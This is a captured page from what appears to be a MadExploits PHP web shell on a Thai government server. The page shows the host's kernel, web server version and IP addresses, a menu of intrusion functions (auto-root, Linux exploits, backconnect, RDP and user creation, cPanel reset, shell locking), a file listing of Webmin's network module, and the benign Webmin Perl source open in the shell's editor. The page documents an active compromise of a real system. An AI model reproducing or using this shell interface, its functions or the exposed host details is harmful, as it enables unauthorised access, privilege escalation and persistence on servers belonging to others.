Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
net /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
5.48
KB
-rw-r--r--
acl_security.pl
2.92
KB
-rwxr-xr-x
apply.cgi
184
B
-rwxr-xr-x
backup_config.pl
1005
B
-rwxr-xr-x
cgi_args.pl
752
B
-rwxr-xr-x
cobalt-linux-lib.pl
30.48
KB
-rwxr-xr-x
coherent-linux-lib.pl
30.48
KB
-rwxr-xr-x
config
48
B
-rw-r--r--
config-ALL-linux
48
B
-rw-r--r--
config-cygwin
82
B
-rw-r--r--
config-freebsd
48
B
-rw-r--r--
config-macos
48
B
-rw-r--r--
config-netbsd
48
B
-rw-r--r--
config-openbsd
48
B
-rw-r--r--
config-solaris
79
B
-rw-r--r--
config-syno-linux
48
B
-rw-r--r--
config-unixware
48
B
-rw-r--r--
config-windows
78
B
-rw-r--r--
config.info
193
B
-rw-r--r--
config.info.ca
238
B
-rw-r--r--
config.info.ca.UTF-8
241
B
-rw-r--r--
config.info.cz
195
B
-rw-r--r--
config.info.cz.UTF-8
205
B
-rw-r--r--
config.info.de
219
B
-rw-r--r--
config.info.de.UTF-8
219
B
-rw-r--r--
config.info.es
187
B
-rw-r--r--
config.info.es.UTF-8
187
B
-rw-r--r--
config.info.fa
262
B
-rw-r--r--
config.info.fr
53
B
-rw-r--r--
config.info.fr.UTF-8
53
B
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.ja_JP.UTF-8
68
B
-rw-r--r--
config.info.ja_JP.euc
50
B
-rw-r--r--
config.info.nl
197
B
-rw-r--r--
config.info.nl.UTF-8
197
B
-rw-r--r--
config.info.no
208
B
-rw-r--r--
config.info.no.UTF-8
208
B
-rw-r--r--
config.info.pl
234
B
-rw-r--r--
config.info.pl.UTF-8
240
B
-rw-r--r--
config.info.pt_BR
265
B
-rw-r--r--
config.info.pt_BR.UTF-8
265
B
-rw-r--r--
config.info.ru.UTF-8
361
B
-rw-r--r--
config.info.ru_RU
231
B
-rw-r--r--
config.info.ru_RU.UTF-8
361
B
-rw-r--r--
config.info.ru_SU
231
B
-rw-r--r--
config.info.sk
220
B
-rw-r--r--
config.info.sk.UTF-8
225
B
-rw-r--r--
config.info.sv
42
B
-rw-r--r--
config.info.sv.UTF-8
42
B
-rw-r--r--
config.info.tr
62
B
-rw-r--r--
config.info.uk_UA
56
B
-rw-r--r--
config.info.uk_UA.UTF-8
86
B
-rw-r--r--
config.info.zh_CN
34
B
-rw-r--r--
config.info.zh_CN.UTF-8
43
B
-rw-r--r--
config.info.zh_TW.Big5
34
B
-rw-r--r--
config.info.zh_TW.UTF-8
44
B
-rw-r--r--
create_route.cgi
1004
B
-rwxr-xr-x
cygwin-lib.pl
11.23
KB
-rwxr-xr-x
debian-linux-lib.pl
32.52
KB
-rwxr-xr-x
defaultacl
105
B
-rw-r--r--
delete_aifcs.cgi
537
B
-rwxr-xr-x
delete_bifcs.cgi
1.44
KB
-rwxr-xr-x
delete_hosts.cgi
523
B
-rwxr-xr-x
delete_ipnodes.cgi
542
B
-rwxr-xr-x
delete_routes.cgi
458
B
-rwxr-xr-x
edit_aifc.cgi
5.1
KB
-rwxr-xr-x
edit_bifc.cgi
10.31
KB
-rwxr-xr-x
edit_host.cgi
1.13
KB
-rwxr-xr-x
edit_ipnode.cgi
1.04
KB
-rwxr-xr-x
edit_range.cgi
1.34
KB
-rwxr-xr-x
freebsd-lib.pl
19.15
KB
-rwxr-xr-x
gentoo-linux-lib.pl
8.47
KB
-rwxr-xr-x
index.cgi
1018
B
-rwxr-xr-x
interface_chooser.cgi
3.8
KB
-rwxr-xr-x
linux-lib.pl
26.19
KB
-rwxr-xr-x
list_dns.cgi
2.3
KB
-rwxr-xr-x
list_hosts.cgi
1.36
KB
-rwxr-xr-x
list_ifcs.cgi
8.19
KB
-rwxr-xr-x
list_ipnodes.cgi
1.07
KB
-rwxr-xr-x
list_routes.cgi
3.37
KB
-rwxr-xr-x
log_parser.pl
1.24
KB
-rwxr-xr-x
macos-lib.pl
11.47
KB
-rwxr-xr-x
mandrake-linux-lib.pl
30.48
KB
-rwxr-xr-x
mod_aifc.cgi
720
B
-rwxr-xr-x
module.info
485
B
-rw-r--r--
module.info.ca
125
B
-rw-r--r--
module.info.ca.UTF-8
139
B
-rw-r--r--
module.info.cz
25
B
-rw-r--r--
module.info.cz.UTF-8
33
B
-rw-r--r--
module.info.de
121
B
-rw-r--r--
module.info.de.UTF-8
133
B
-rw-r--r--
module.info.es
29
B
-rw-r--r--
module.info.es.UTF-8
36
B
-rw-r--r--
module.info.fr
29
B
-rw-r--r--
module.info.fr.UTF-8
36
B
-rw-r--r--
module.info.hu
29
B
-rw-r--r--
module.info.hu.UTF-8
40
B
-rw-r--r--
module.info.it
28
B
-rw-r--r--
module.info.it.UTF-8
34
B
-rw-r--r--
module.info.ja_JP.UTF-8
42
B
-rw-r--r--
module.info.ja_JP.euc
32
B
-rw-r--r--
module.info.ko_KR.UTF-8
37
B
-rw-r--r--
module.info.ko_KR.euc
29
B
-rw-r--r--
module.info.ms_MY
142
B
-rw-r--r--
module.info.ms_MY.UTF-8
154
B
-rw-r--r--
module.info.nl
29
B
-rw-r--r--
module.info.nl.UTF-8
35
B
-rw-r--r--
module.info.no
31
B
-rw-r--r--
module.info.no.UTF-8
37
B
-rw-r--r--
module.info.pl
121
B
-rw-r--r--
module.info.pl.UTF-8
134
B
-rw-r--r--
module.info.pt
29
B
-rw-r--r--
module.info.pt.UTF-8
37
B
-rw-r--r--
module.info.pt_BR
42
B
-rw-r--r--
module.info.pt_BR.UTF-8
48
B
-rw-r--r--
module.info.ru.UTF-8
42
B
-rw-r--r--
module.info.ru_RU
26
B
-rw-r--r--
module.info.ru_RU.UTF-8
45
B
-rw-r--r--
module.info.ru_SU
26
B
-rw-r--r--
module.info.sk
27
B
-rw-r--r--
module.info.sk.UTF-8
34
B
-rw-r--r--
module.info.sv
30
B
-rw-r--r--
module.info.sv.UTF-8
37
B
-rw-r--r--
module.info.tr
26
B
-rw-r--r--
module.info.zh_CN
20
B
-rw-r--r--
module.info.zh_TW.Big5
25
B
-rw-r--r--
msc-linux-lib.pl
30.48
KB
-rwxr-xr-x
net-lib.pl
11.48
KB
-rwxr-xr-x
netbsd-lib.pl
19.15
KB
-rwxr-xr-x
netplan-lib.pl
16.76
KB
-rw-r--r--
open-linux-lib.pl
7.13
KB
-rwxr-xr-x
openbsd-lib.pl
12.53
KB
-rwxr-xr-x
openmamba-linux-lib.pl
30.48
KB
-rwxr-xr-x
pardus-linux-lib.pl
30.48
KB
-rwxr-xr-x
rbac-mapping
180
B
-rw-r--r--
rc.inet1
1.95
KB
-rw-r--r--
redhat-linux-lib.pl
30.48
KB
-rwxr-xr-x
save_aifc.cgi
5.62
KB
-rwxr-xr-x
save_bifc.cgi
9.31
KB
-rwxr-xr-x
save_dns.cgi
3.14
KB
-rwxr-xr-x
save_host.cgi
1.18
KB
-rwxr-xr-x
save_ipnode.cgi
1.23
KB
-rwxr-xr-x
save_range.cgi
1.42
KB
-rwxr-xr-x
save_routes.cgi
283
B
-rwxr-xr-x
slackware-linux-9.1-ALL-lib.pl
7.8
KB
-rwxr-xr-x
slackware-linux-lib.pl
6.66
KB
-rwxr-xr-x
solaris-lib.pl
20.71
KB
-rwxr-xr-x
suse-linux-8.0-lib.pl
7.18
KB
-rwxr-xr-x
suse-linux-8.2-lib.pl
7.18
KB
-rwxr-xr-x
suse-linux-9.0-lib.pl
8.61
KB
-rwxr-xr-x
suse-linux-9.1-lib.pl
8.61
KB
-rwxr-xr-x
suse-linux-9.2-ALL-lib.pl
11.1
KB
-rwxr-xr-x
suse-linux-lib.pl
8.96
KB
-rwxr-xr-x
trustix-linux-lib.pl
30.48
KB
-rwxr-xr-x
turbo-linux-lib.pl
30.48
KB
-rwxr-xr-x
united-linux-lib.pl
7.18
KB
-rwxr-xr-x
unixware-lib.pl
9.83
KB
-rwxr-xr-x
windows-lib.pl
11.23
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : suse-linux-9.0-lib.pl
# suse-linux-9.0-lib.pl # Networking functions for SuSE linux 9.0 and above $net_scripts_dir = "/etc/sysconfig/network"; $routes_config = "/etc/sysconfig/network/routes"; $sysctl_config = "/etc/sysconfig/sysctl"; do 'linux-lib.pl'; # boot_interfaces() # Returns a list of interfaces brought up at boot time sub boot_interfaces { local(@rv, $f); local @active = &active_interfaces(); opendir(CONF, &translate_filename($net_scripts_dir)); while($f = readdir(CONF)) { if ($f =~ /^ifcfg-eth-id-([a-f0-9:]+)$/i) { # An interface identified by MAC address! local (%conf, $b); $b->{'mac'} = $1; local ($a) = grep { lc($_->{'ether'}) eq lc($b->{'mac'}) } @active; next if (!$a); &read_env_file("$net_scripts_dir/$f", \%conf); $b->{'fullname'} = $a->{'fullname'}; $b->{'name'} = $a->{'name'}; $b->{'up'} = ($conf{'STARTMODE'} eq 'onboot'); local $pfx; if ($conf{'IPADDR'} =~ /^(\S+)\/(\d+)$/) { $b->{'address'} = $1; $pfx = $2; } else { $b->{'address'} = $conf{'IPADDR'}; } $pfx = $conf{'PREFIXLEN'} if (!$pfx); if ($pfx) { $b->{'netmask'} = &prefix_to_mask($pfx); } else { $b->{'netmask'} = $conf{'NETMASK'}; } $b->{'broadcast'} = $conf{'BROADCAST'}; $b->{'dhcp'} = ($conf{'BOOTPROTO'} eq 'dhcp'); $b->{'mtu'} = $conf{'MTU'}; $b->{'edit'} = ($b->{'name'} !~ /^ppp|irlan/); $b->{'index'} = scalar(@rv); $b->{'file'} = "$net_scripts_dir/$f"; push(@rv, $b); } elsif ($f =~ /^ifcfg-([a-z0-9:\.]+)$/) { # A normal interface file local (%conf, $b); $b->{'fullname'} = $1; &read_env_file("$net_scripts_dir/$f", \%conf); if ($b->{'fullname'} =~ /(\S+):(\d+)/) { $b->{'name'} = $1; $b->{'virtual'} = $2; } else { $b->{'name'} = $b->{'fullname'}; } $b->{'up'} = ($conf{'STARTMODE'} eq 'onboot'); local $pfx; if ($conf{'IPADDR'} =~ /^(\S+)\/(\d+)$/) { $b->{'address'} = $1; $pfx = $2; } else { $b->{'address'} = $conf{'IPADDR'}; } $pfx = $conf{'PREFIXLEN'} if (!$pfx); if ($pfx) { $b->{'netmask'} = &prefix_to_mask($pfx); } else { $b->{'netmask'} = $conf{'NETMASK'}; } $b->{'broadcast'} = $conf{'BROADCAST'}; $b->{'dhcp'} = ($conf{'BOOTPROTO'} eq 'dhcp'); $b->{'mtu'} = $conf{'MTU'}; $b->{'edit'} = ($b->{'name'} !~ /^ppp|irlan/); $b->{'index'} = scalar(@rv); $b->{'file'} = "$net_scripts_dir/$f"; push(@rv, $b); } } closedir(CONF); return @rv; } # save_interface(&details) # Create or update a boot-time interface sub save_interface { local(%conf); local $name = $_[0]->{'virtual'} ne "" ? $_[0]->{'name'}.":".$_[0]->{'virtual'} : $_[0]->{'name'}; local $file = $_[0]->{'file'} || "$net_scripts_dir/ifcfg-$name"; &lock_file($file); &read_env_file($file, \%conf); $conf{'IPADDR'} = $_[0]->{'address'}; local($ip1, $ip2, $ip3, $ip4) = split(/\./, $_[0]->{'address'}); $conf{'NETMASK'} = $_[0]->{'netmask'}; local($nm1, $nm2, $nm3, $nm4) = split(/\./, $_[0]->{'netmask'}); if ($_[0]->{'address'} && $_[0]->{'netmask'}) { $conf{'NETWORK'} = sprintf "%d.%d.%d.%d", ($ip1 & int($nm1))&0xff, ($ip2 & int($nm2))&0xff, ($ip3 & int($nm3))&0xff, ($ip4 & int($nm4))&0xff; } else { $conf{'NETWORK'} = ''; } delete($conf{'PREFIXLEN'}); $conf{'BROADCAST'} = $_[0]->{'broadcast'}; $conf{'STARTMODE'} = $_[0]->{'up'} ? "onboot" : $conf{'STARTMODE'} eq "onboot" ? "manual" : $conf{'STARTMODE'}; $conf{'BOOTPROTO'} = $_[0]->{'dhcp'} ? "dhcp" : "static"; $conf{'MTU'} = $_[0]->{'mtu'}; $conf{'UNIQUE'} ||= time(); &write_env_file($file, \%conf); &unlock_file($file); } # delete_interface(&details) # Delete a boot-time interface sub delete_interface { local $name = $_[0]->{'virtual'} ne "" ? $_[0]->{'name'}.":".$_[0]->{'virtual'} : $_[0]->{'name'}; local $file = $_[0]->{'file'} || "$net_scripts_dir/ifcfg-$name"; &unlink_logged($file); } # can_edit(what) # Can some boot-time interface parameter be edited? sub can_edit { return $_[0] ne "bootp"; } # valid_boot_address(address) # Is some address valid for a bootup interface sub valid_boot_address { return &check_ipaddress($_[0]); } # get_hostname() sub get_hostname { local $hn = &read_file_contents("/etc/HOSTNAME"); $hn =~ s/\r|\n//g; if ($hn) { return $hn; } return &get_system_hostname(1); } # save_hostname(name) sub save_hostname { local %conf; &system_logged("hostname $_[0] >/dev/null 2>&1"); &open_lock_tempfile(HOST, ">/etc/HOSTNAME"); &print_tempfile(HOST, $_[0],"\n"); &close_tempfile(HOST); undef(@main::get_system_hostname); # clear cache } sub routing_config_files { return ( $routes_config, $sysctl_config ); } # get_routes_config() # Returns the list of save static routes sub get_routes_config { local (@routes); &open_readfile(ROUTES, $routes_config); while(<ROUTES>) { s/#.*$//; s/\r|\n//g; local @r = map { $_ eq '-' ? undef : $_ } split(/\s+/, $_); push(@routes, \@r) if (@r); } close(ROUTES); return @routes; } # save_routes_config(&routes) sub save_routes_config { &open_tempfile(ROUTES, ">$routes_config"); foreach $r (@{$_[0]}) { &print_tempfile(ROUTES, join(" ", $r->[0] || "-", $r->[1] || "-", $r->[2] || "-", $r->[3] || "-"),"\n"); } &close_tempfile(ROUTES); } sub routing_input { local @routes = &get_routes_config(); # show default router and device local ($def) = grep { $_->[0] eq "default" } @routes; print &ui_table_row($text{'routes_default'}, &ui_opt_textbox("gateway", $def->[1], 15, $text{'routes_none'})); print &ui_table_row($text{'routes_device2'}, &ui_opt_textbox("gatewaydev", $def->[3], 6, $text{'routes_none'})); # Forwarding enabled? &read_env_file($sysctl_config, \%sysctl); print &ui_table_row($text{'routes_forward'}, &ui_yesno_radio("forward", $sysctl{'IP_FORWARD'} eq 'yes')); # show static network routes my $i = 0; my @table; foreach my $r (@routes, [ ]) { next if ($r eq $def); push(@table, [ &ui_textbox("dev_$i", $r->[3], 6), &ui_textbox("net_$i", $r->[0], 15), &ui_textbox("netmask_$i", $r->[2], 15), &ui_textbox("gw_$i", $r->[1], 15), &ui_textbox("type_$i", $r->[4], 10) ]); } print &ui_table_row($text{'routes_static'}, &ui_columns_table([ $text{'routes_ifc'}, $text{'routes_net'}, $text{'routes_mask'}, $text{'routes_gateway'}, $text{'routes_type'} ], undef, \@table, undef, 1)); } sub parse_routing { # Parse route inputs local (@routes, $r, $i); if (!$in{'gateway_def'}) { &to_ipaddress($in{'gateway'}) || &error(&text('routes_edefault', $in{'gateway'})); local @def = ( "default", $in{'gateway'}, undef, undef ); if (!$in{'gatewaydev_def'}) { $in{'gatewaydev'} =~ /^\S+$/ || &error(&text('routes_edevice', $in{'gatewaydev'})); $def[3] = $in{'gatewaydev'}; } push(@routes, \@def); } for($i=0; defined($in{"dev_$i"}); $i++) { next if (!$in{"net_$i"}); &check_ipaddress($in{"net_$i"}) || $in{"net_$i"} =~ /^(\S+)\/(\d+)$/ && &check_ipaddress($1) || &error(&text('routes_enet', $in{"net_$i"})); $in{"dev_$i"} =~ /^\S*$/ || &error(&text('routes_edevice', $dev)); !$in{"netmask_$i"} || &check_ipaddress($in{"netmask_$i"}) || &error(&text('routes_emask', $in{"netmask_$i"})); !$in{"gw_$i"} || &check_ipaddress($in{"gw_$i"}) || &error(&text('routes_egateway', $in{"gw_$i"})); $in{"type_$i"} =~ /^\S*$/ || &error(&text('routes_etype', $in{"type_$i"})); push(@routes, [ $in{"net_$i"}, $in{"gw_$i"}, $in{"netmask_$i"}, $in{"dev_$i"}, $in{"type_$i"} ] ); } # Save routes and routing option &save_routes_config(\@routes); local $lref = &read_file_lines($sysctl_config); for($i=0; $i<@$lref; $i++) { if ($lref->[$i] =~ /^\s*IP_FORWARD\s*=/) { $lref->[$i] = "IP_FORWARD=".($in{'forward'} ? "yes" : "no"); } } &flush_file_lines(); } # get_default_gateway() # Returns the default gateway IP (if one is set) and device (if set) boot time # settings. sub get_default_gateway { local @routes = &get_routes_config(); local ($def) = grep { $_->[0] eq "default" } @routes; if ($def) { return ( $def->[1], $def->[3] ); } else { return ( ); } } # set_default_gateway(gateway, device) # Sets the default gateway to the given IP accessible via the given device, # in the boot time settings. sub set_default_gateway { local @routes = &get_routes_config(); local ($def) = grep { $_->[0] eq "default" } @routes; if ($def && $_[0]) { $def->[1] = $_[0]; $def->[3] = $_[1]; } elsif ($def && !$_[0]) { @routes = grep { $_ ne $def } @routes; } elsif (!$def && $_[0]) { splice(@routes, 0, 0, [ "default", $_[0], undef, $_[1] ]); } &save_routes_config(\@routes); } # apply_network() # Apply the interface and routing settings sub apply_network { &system_logged("(cd / ; /etc/init.d/network stop ; /etc/init.d/network start) >/dev/null 2>&1"); } # supports_address6([&iface]) # Returns 1 if managing IPv6 interfaces is supported sub supports_address6 { local ($iface) = @_; return 0; } 1;
Close